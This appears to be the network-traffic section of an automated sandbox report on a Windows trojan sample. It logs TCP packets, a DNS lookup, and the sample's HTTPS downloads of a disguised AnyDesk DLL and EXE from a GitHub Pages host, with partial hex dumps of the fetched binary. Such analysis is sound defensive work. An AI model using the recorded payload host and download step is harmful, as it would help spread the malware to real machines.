Sep 29, 2024 02:27:26.057590008 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.057626009 CEST	443	49737	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:26.057744026 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.063505888 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.063517094 CEST	443	49737	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:26.548043013 CEST	443	49737	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:26.548232079 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.551956892 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.551963091 CEST	443	49737	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:26.552236080 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.552238941 CEST	443	49737	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:26.655817032 CEST	443	49737	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:26.655936003 CEST	443	49737	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:26.655941963 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.656056881 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.656969070 CEST	49737	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:26.656982899 CEST	443	49737	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:32.275394917 CEST	49739	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:32.275454998 CEST	443	49739	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:32.275522947 CEST	49739	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:32.276901960 CEST	49739	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:32.276928902 CEST	443	49739	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:32.746293068 CEST	443	49739	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:32.746367931 CEST	49739	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:32.748567104 CEST	49739	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:32.748603106 CEST	443	49739	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:32.748756886 CEST	49739	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:32.748771906 CEST	443	49739	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:32.889493942 CEST	443	49739	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:32.889600992 CEST	443	49739	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:32.889688969 CEST	49739	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:32.891204119 CEST	49739	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:32.891228914 CEST	443	49739	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:38.693979025 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:38.694030046 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:38.694098949 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:38.694637060 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:38.694645882 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:39.176040888 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:39.176177979 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:39.176582098 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:39.176594019 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:39.176743984 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:39.176748991 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:39.281143904 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:39.281311035 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:39.281331062 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:39.281363964 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:39.281409979 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:39.283015966 CEST	49740	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:39.283032894 CEST	443	49740	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.120990992 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.121028900 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.121126890 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.163561106 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.163573980 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.645143986 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.645437002 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.653729916 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.653743982 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.654138088 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.654145002 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.756556034 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.756628990 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.756649971 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.756664991 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:45.756712914 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.761702061 CEST	49741	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:45.761719942 CEST	443	49741	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:51.631113052 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:51.631156921 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:51.631218910 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:51.631481886 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:51.631499052 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:52.084678888 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:52.085901976 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:52.086102009 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:52.086102009 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:52.086113930 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:52.086127996 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:52.185965061 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:52.186029911 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:52.186050892 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:52.186081886 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:52.186222076 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:52.187185049 CEST	49742	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:52.187207937 CEST	443	49742	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:57.898248911 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:57.898293972 CEST	443	49743	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:57.898425102 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:57.900075912 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:57.900084019 CEST	443	49743	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:58.363306999 CEST	443	49743	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:58.363852024 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:58.366193056 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:58.366200924 CEST	443	49743	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:58.366712093 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:58.366715908 CEST	443	49743	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:58.464368105 CEST	443	49743	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:58.464473009 CEST	443	49743	185.199.110.153	192.168.2.6
Sep 29, 2024 02:27:58.464473963 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:58.464520931 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:58.466967106 CEST	49743	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:27:58.466985941 CEST	443	49743	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.088366032 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.088407993 CEST	443	49744	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.088465929 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.095982075 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.095993996 CEST	443	49744	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.662873030 CEST	443	49744	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.667566061 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.677962065 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.677973032 CEST	443	49744	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.678298950 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.678303003 CEST	443	49744	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.778014898 CEST	443	49744	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.778100014 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.778106928 CEST	443	49744	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.778124094 CEST	443	49744	185.199.110.153	192.168.2.6
Sep 29, 2024 02:28:04.778172016 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.791537046 CEST	49744	443	192.168.2.6	185.199.110.153
Sep 29, 2024 02:28:04.791554928 CEST	443	49744	185.199.110.153	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 02:26:00.380841970 CEST	51680	53	192.168.2.6	1.1.1.1
Sep 29, 2024 02:26:00.389503956 CEST	53	51680	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 02:26:00.380841970 CEST	192.168.2.6	1.1.1.1	0xd606	Standard query (0)	duy-thanh.github.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 02:26:00.389503956 CEST	1.1.1.1	192.168.2.6	0xd606	No error (0)	duy-thanh.github.io	185.199.110.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:26:00.389503956 CEST	1.1.1.1	192.168.2.6	0xd606	No error (0)	duy-thanh.github.io	185.199.111.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:26:00.389503956 CEST	1.1.1.1	192.168.2.6	0xd606	No error (0)	duy-thanh.github.io	185.199.109.153	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:26:00.389503956 CEST	1.1.1.1	192.168.2.6	0xd606	No error (0)	duy-thanh.github.io	185.199.108.153	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

duy-thanh.github.io

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.199.110.153	443	2404	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:00 UTC	77	OUT	GET /file/AnyDeskShellIntegration.dll HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:01 UTC	757	IN	HTTP/1.1 200 OK Connection: close Content-Length: 54784 Server: GitHub.com Content-Type: application/octet-stream permissions-policy: interest-cohort=() x-origin-cache: HIT Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-d600" expires: Sun, 29 Sep 2024 00:36:01 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: C0DE:3D4C4C:2868506:2D39471:66F89E98 Accept-Ranges: bytes Age: 0 Date: Sun, 29 Sep 2024 00:26:01 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890096-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727569561.980613,VS0,VE58 Vary: Accept-Encoding X-Fastly-Request-ID: bb1ddaba8350fa10e4663133e25dba3bfd8a6200
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 74 6e 1d 65 30 0f 73 36 30 0f 73 36 30 0f 73 36 7b 77 70 37 35 0f 73 36 7b 77 76 37 b6 0f 73 36 7b 77 77 37 3a 0f 73 36 20 8b 70 37 39 0f 73 36 20 8b 77 37 3e 0f 73 36 20 8b 76 37 10 0f 73 36 7b 77 72 37 33 0f 73 36 30 0f 72 36 69 0f 73 36 78 8a 7a 37 32 0f 73 36 78 8a 8c 36 31 0f 73 36 30 0f e4 36 31 0f 73 36 78 8a 71 37 31 0f 73 36 52 69 63 68 30 0f 73 36 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$tne0s60s60s6{wp75s6{wv7s6{ww7:s6 p79s6 w7>s6 v7s6{wr73s60r6is6xz72s6x61s6061s6xq71s6Rich0s6
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: b0 7f 0d 3c 40 32 c2 25 b8 7f 30 5f c3 ff c8 89 05 bc 18 19 20 16 1f be 87 df 4a b4 75 33 3a 54 ff f4 09 dc 83 be ed 60 dd 25 32 17 00 c6 33 d2 54 cf 6a 1c 16 b0 ff 16 a1 d8 29 84 8b c3 eb a6 80 81 de f0 df b6 66 c4 82 58 20 4c 89 40 18 89 50 9b 48 08 56 57 1b 86 b7 11 9c 40 dc f0 8b fa 9e 05 75 fe 1f 6d f7 0f 39 15 3c 7f 7f 07 96 1e 3e 8d 42 ff 83 f8 01 77 ff 86 c3 d6 9e b0 74 4d 62 05 8d 58 01 eb 08 ff 15 3e dc 15 da dc df 0f 32 d4 30 85 db cf 03 34 d3 ed 0c 1b 2c 8b d7 29 71 00 3c 1a 44 9f 35 0e 49 c0 4e fd 7f 1a 83 ff 01 33 5f 73 dd 75 36 4f 32 1b be 1b 32 61 b2 39 9c 63 f6 4c 41 48 73 00 7b b3 0d 7b 74 0e 23 76 65 85 ff 74 05 3e 6c 77 02 7b 03 75 3c 71 74 25 39 c6 e0 ad 93 6d c3 06 10 27 3e 26 b5 eb 68 1e 0a ef 06 33 db 07 28 80 78 40 1e 96 51 58 b3 Data Ascii: <@2%0_ Ju3:T`%23Tj)fX L@PHVW@um9<>BwtMbX>204,)q<D5IN3_su6O22a9cLAHs{{t#vet>lw{u<qt%9m'>&h3(x@QX
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: b8 40 83 04 df ae b9 03 2d de b1 37 b9 50 b7 f6 41 b8 d0 04 10 cb fc 0e 47 e0 86 d9 2c 55 61 9d e8 3f 95 d8 de 08 98 70 1c 17 41 43 19 b1 d8 c3 ea 47 3c d1 8d e0 1d 24 af b7 69 59 d5 dc 8d e8 18 d7 b1 27 ba 58 59 08 20 64 0a 5a 7b 0d 1e e7 85 c8 04 d2 03 66 88 41 8c b6 d8 14 8b 98 cb 17 c1 86 fd 33 85 88 00 96 31 34 d8 ce d1 6d 60 c7 03 50 15 16 07 54 01 db 6f 03 2d dc 0e 53 27 3e 8d 44 50 b3 db f7 13 3d 8d 45 f0 08 48 1c a9 d4 69 c0 d4 61 b6 40 0a 96 7a 0d 65 78 8b 50 d8 bb 8d e3 02 5a 9c 24 d0 49 e8 b3 60 29 30 c4 5d c3 fb e4 7e 70 13 1c 1d eb 55 c5 3d e4 06 be db e7 a8 f4 55 fb 06 49 8c d6 a3 c3 61 a7 49 5f 3b df 72 e9 95 8b 3b 21 43 72 72 bf b8 50 7a 06 be 08 4f c2 2c 43 30 02 87 ce 26 55 f3 ef 10 fe 5b e3 ad 7b de 0f a2 44 d6 02 d2 41 81 f2 69 6e 65 Data Ascii: @-7PAG,Ua?pACG<$iY'XY dZ{fA314m`PTo-S'>DP=EHia@zexPZ$I`)0]~pU=UIaI_;r;!CrrPzO,C0&U[{DAine
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 35 c9 80 63 9d 78 48 8b ff e2 d3 07 2f bc 7d d4 34 07 50 58 eb 52 39 1a 74 82 04 8b 0b 5d 52 3a d2 4f 8d 42 45 6a b1 dd 2e 58 eb f6 33 63 02 6d c1 b6 2e b4 8d df 10 7c 16 4c 63 4a 26 63 26 9d 0c 09 06 6f 2c dc 0b 04 0a cf c1 a7 c0 c3 cc d7 b7 f6 bb 03 8b 39 5a 81 3f 52 43 43 e0 52 07 4d 4f 3a f6 af 34 0a da 74 22 eb 13 74 83 78 83 2d 62 97 a6 7e 08 0a 88 30 e3 dd b3 19 1c 33 c0 e5 94 89 78 48 5b 8c 54 0b 66 21 e8 33 b8 2d 90 e2 25 4b 45 b8 1f 85 91 60 94 0f 8f 89 70 db 74 78 d3 18 44 52 10 49 c7 c1 62 31 13 7c 29 44 08 49 11 7a 33 c3 d5 a7 0b 3f ad ce c1 15 7e 1c 89 b1 18 b0 7a c2 74 23 69 89 8e d9 09 be fb 3b 48 10 72 06 05 08 76 07 b9 0d da 49 2f 54 38 bc af 8d af 8c 20 7d 01 18 33 b6 72 28 93 05 8d 0a a3 0d fc 84 8b 8b 0d 74 6c 4d f9 ff e5 3d 65 b6 5d Data Ascii: 5cxH/}4PXR9t]R:OBEj.X3cm.\|LcJ&c&o,9Z?RCCRMO:4t"tx-b~03xH[Tf!3-%KE`ptxDRIb1\|)DIz3?~zt#i;HrvI/T8 }3r(tlM=e]
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 61 18 10 bc 95 82 c0 6e 18 a7 3f 40 60 73 45 42 e0 c0 13 68 87 05 2c d8 92 a3 4b 60 ff 45 a8 c9 80 17 68 0f 88 40 0d 34 1c 68 37 70 e9 68 20 52 5c 27 59 08 43 4a 08 92 3d 58 a4 45 4b 8b 5d 38 40 2e da a2 c1 7a 4f 0a cf 5a 89 96 6e 8a 11 59 03 50 60 e1 88 90 d2 17 07 c3 75 8d 34 20 fb 7d 0a d2 2e 30 2d f4 aa a7 8b 74 1b 48 4a 02 f8 a7 20 8a ad 6e f0 42 c2 3d 1b d4 99 49 83 14 c6 b7 57 af 4d 86 c6 05 84 ff c8 a1 98 7b e0 d3 d6 90 2b c6 9f 1c ae 2d 85 08 de 1d 8f bd b0 4d 3b c1 11 a6 8b 75 3c 9c f7 b0 26 df 1e db 1e 63 0b 2b de 22 ed eb 6b 48 bc f7 98 02 c1 ad b6 13 50 22 cf 61 00 08 ae 0e 12 77 f0 a5 c4 00 8d 75 7e 7f 81 fb 97 70 0d 2e 57 75 2d 44 8d 43 07 25 83 52 31 d8 dc dc d6 cc 96 cc 56 a2 98 ab 16 cc 3d b7 37 d8 66 b7 5d 46 10 c6 af 6b d3 87 84 7b b1 Data Ascii: an?@`sEBh,K`Eh@4h7ph R\'YCJ=XEK]8@.zOZnYP`u4 }.0-tHJ nB=IWM{+-M;u<&c+"kHP"awu~p.Wu-DC%R1V=7f]Fk{
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 02 9c ee 49 5a 83 60 1a 0f 33 b0 33 d1 55 ac 15 f7 0b 34 80 ae 6d 3a 52 c7 27 e2 aa 27 be 31 72 97 dd 76 6c 2a 46 de 45 c8 03 7d c0 e0 27 5d c8 da 90 55 09 e0 1a 7f ea 08 df b6 0c 84 86 09 26 85 8b 85 a1 8d 55 05 db 42 45 c7 e1 e0 53 ce 4a ed b6 7a 43 6f c6 70 18 14 32 6e 6f 4b d5 13 cf c1 03 73 d8 08 04 7e c0 be f0 fe a6 ce 4d d0 3b 45 f8 0f 83 40 67 7d d8 66 49 4e 2d 74 d4 16 fb 4d 38 8b fe d5 36 01 df 4e 63 50 10 41 81 0c 80 b6 68 d0 de 68 66 98 04 8a 41 46 ca 97 7a db 05 43 00 10 26 b8 45 7a 45 a8 77 ad ae a1 41 4a 8f 44 78 87 11 48 c1 e8 e0 c6 ec 56 3f 3b f0 11 70 4e 08 bd 2d 36 5b fd e4 74 1d 37 98 21 ae 83 27 d0 e9 90 2a 26 68 2b a4 57 ac db 12 b8 81 4b 4a 81 5a 45 10 5a d8 6e 3b 18 4b 6c c0 04 87 51 0c 48 c2 f6 cd 2d fb 91 70 18 14 b4 2c 10 eb 31 Data Ascii: IZ`33U4m:R''1rvlFE}']U&UBESJzCop2noKs~M;E@g}fIN-tM86NcPAhhfAFzC&EzEwAJDxHV?;pN-6[t7!'&h+WKJZEZn;KlQH-p,1
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: db 08 4e 55 38 4f 30 84 2c 35 be d4 62 51 ff 03 d2 74 40 05 11 a8 30 15 e1 09 ed 8b 84 0c 28 a8 8f 1c 3d 30 76 a4 a0 31 52 34 cc 1b d9 cf 7b c2 a7 25 78 12 6b c2 b4 10 3e ab cc 45 0a 06 2d 81 3d 47 ec 16 09 17 40 61 37 8a 84 62 d5 ce 45 62 88 66 3b 88 23 3c ad 68 c5 61 dc 60 de ac ea ba 6a c5 6b 18 b0 25 7b 62 e3 c5 86 c6 90 8a 37 22 2b bc 1a de 0d 18 6f 48 80 8d 0d cd c5 b4 57 4b 35 b6 2e a3 0b 0c 53 55 88 08 9b 82 53 5b b4 02 d9 dc e0 c5 62 1b 52 7c b3 03 b1 05 61 b1 dd d8 26 dc 05 d8 17 41 2e 05 bd 0a 42 a6 6c 07 91 c1 c3 5b 71 90 6d 59 b1 03 43 49 18 48 b5 7b 83 c1 08 a5 36 5c 1f bb df 01 23 cf 05 1f 29 8b f9 2c 8b da 11 5e fa 7c 2e e8 f6 c3 56 0d ba 18 29 08 06 e9 47 69 ca 44 41 c7 81 d4 65 c9 d5 00 40 be 0f 16 fa a2 f7 f9 ad ff 77 4d 1c eb 02 94 21 Data Ascii: NU8O0,5bQt@0(=0v1R4{%xk>E-=G@a7bEbf;#<ha`jk%{b7"+oHWK5.SUS[bR\|a&A.Bl[qmYCIH{6\#),^\|.V)GiDAe@wM!
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 3b 4c a1 c3 58 0c fa df 03 35 6d a9 b8 fd 6d ba 2b da 56 96 3e f1 85 3d 03 ab 54 b0 95 50 0f 75 df 37 3e 7f 33 58 37 53 25 43 14 30 52 5e 47 27 05 d3 7d b0 ce 2d bf c2 b7 0b 47 eb d9 33 c0 58 0a de 81 49 b8 b5 df 03 99 a0 42 83 8e a8 76 e8 18 1c 61 d3 f2 4e 4d a8 70 d1 20 b4 86 e1 1f de de 3d b1 d0 55 02 81 9d 49 45 0d 39 38 74 04 5b 73 d5 2a ce 0c 72 f3 7b e3 5b 20 78 3a e4 1c 40 08 4d 08 be 11 7c a9 db fa f8 05 75 0a 3f 08 41 8d 40 5d 54 e8 b6 e1 cd 0f 01 65 b3 c2 89 16 d8 6d 33 6b 86 73 08 a7 04 aa ab 8d 30 f4 39 2a a0 16 91 7a bd b9 ee f6 eb 08 33 49 08 10 10 fa 6b 81 38 8d 66 5b 68 b4 13 c0 a1 e2 7a 0a 8e cb b3 3c db 74 6b 07 8f 5c 90 4d 91 3c cb b3 3c 3e 92 2f 93 20 6f 99 a5 b9 b4 02 11 b5 9b 75 40 ba 9f 9f bf bf 8d 60 36 ba 8e 06 2f ba 85 28 ba 8a Data Ascii: ;LX5mm+V>=TPu7>3X7S%C0R^G'}-G3XIBvaNMp =UIE98t[sr{[ x:@M\|u?A@]Tem3ks09z3Ik8f[hz<tk\M<<>/ ou@`6/(
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 15 42 0c 42 c3 ea 58 29 a4 8b c7 d7 c2 b2 88 55 84 4f 7e e1 2b 0c b7 49 3d 41 50 73 4f 62 45 18 6c 17 04 70 e4 fd 0c 5f 08 3d 7b a2 46 a2 31 b1 40 34 1a 77 6e bb a3 0d eb 0e 48 d6 1c 3c 06 fd 52 01 2c ba 59 b0 00 2b 26 bd c7 7b 83 10 56 0c 77 be df 80 12 80 a8 ae 8a 16 eb 25 1f aa 25 e8 80 fa 3d 3e 01 9b 8b c8 d0 68 81 1e 74 14 41 72 dd 96 6a 34 d5 f6 c0 60 03 0c 8a 10 c3 d8 b0 41 50 d7 02 ba 08 70 b7 2e d8 60 ab 0b 7f c8 72 4f f3 8a 68 6b b6 a6 06 59 5f 43 cd c5 42 2e 60 27 fc f6 b5 08 3c 3d 74 35 ba ea cd 3c 46 4f f0 c0 f8 19 25 30 d5 bf 3b 4b 5d 1b 4a 50 47 f6 3e d5 76 b0 67 3f 03 f5 eb ac da 41 44 69 eb 8d f2 9d a7 07 48 95 40 5b 48 08 f5 c1 34 65 7c 75 5e c3 e6 3e 4e 18 82 d1 5d d2 78 4c 18 45 82 57 17 01 a8 e5 66 8f f9 eb 0f 83 54 c5 19 0d e1 6b 71 Data Ascii: BBX)UO~+I=APsObElp_={F1@4wnH<R,Y+&{Vw%%=>htArj4`APp.`rOhkY_CB.`'<=t5<FO%0;K]JPG>vg?ADiH@[H4e\|u^>N]xLEWfTkq
2024-09-29 00:26:01 UTC	1378	IN	Data Raw: 99 36 01 0d 89 90 28 f6 77 d8 a8 03 17 88 b5 8d 4a 42 0d 54 37 bb dd e1 28 66 11 bc 00 1c 0a c2 d2 9f 29 e0 ac ae 1d 83 a0 a0 94 bd 9d eb 0e 48 70 9c d0 97 84 55 d4 20 b2 a8 48 f0 14 f0 53 7f 09 bd 24 e8 1a 53 4a 8c 0b 37 58 24 28 6f f3 40 c7 5f 88 67 5d e8 f7 e8 d3 15 84 63 b8 05 00 00 71 0b d8 65 ed e8 e5 d7 45 e4 dd 4d 42 8f b9 c2 74 0c 6f 8b 3c 8b 49 70 81 1c c8 81 0c 58 60 c8 81 1c c8 68 48 50 81 fd 80 1c 78 89 80 00 00 00 0f 06 e1 10 e4 c0 03 a3 06 28 d0 34 dd 41 49 38 14 e0 f8 e4 56 34 41 87 1b b0 c6 5d 13 c1 f8 15 43 f9 fd 89 90 38 1b c5 ba ba 2c 29 89 5a 8f 10 00 31 cf 68 a2 9a 50 17 df 3a 41 0b 83 57 1f 14 82 79 eb 44 87 9f 38 48 d4 59 9f 37 db b4 87 3c ea 49 54 c2 53 ff 94 34 67 c5 6e 0c 95 2a 21 74 f4 14 1d 66 c7 c8 6c 17 7c d4 74 fc 3e 60 25 Data Ascii: 6(wJBT7(f)HpU HS$SJ7X$(o@_g]cqeEMBto<IpX`hHPx(4AI8V4A]C8,)Z1hP:AWyD8HY7<ITS4gn*!tfl\|t>`%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49711	185.199.110.153	443	2404	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-29 00:26:01 UTC	73	OUT	GET /file/AnyDeskCrashHandler.exe HTTP/1.1 Host: duy-thanh.github.io
2024-09-29 00:26:01 UTC	736	IN	HTTP/1.1 200 OK Connection: close Content-Length: 60416 Server: GitHub.com Content-Type: application/octet-stream permissions-policy: interest-cohort=() Last-Modified: Fri, 13 Sep 2024 00:51:35 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "66e38c97-ec00" expires: Sun, 29 Sep 2024 00:36:01 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 83DB:34E664:2A39397:2F0A3FE:66F89E99 Accept-Ranges: bytes Age: 0 Date: Sun, 29 Sep 2024 00:26:01 GMT Via: 1.1 varnish X-Served-By: cache-ewr-kewr1740032-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1727569562.795317,VS0,VE30 Vary: Accept-Encoding X-Fastly-Request-ID: 0e9f5c2e20e330cf847b611cef2d61c27bfd4cfc
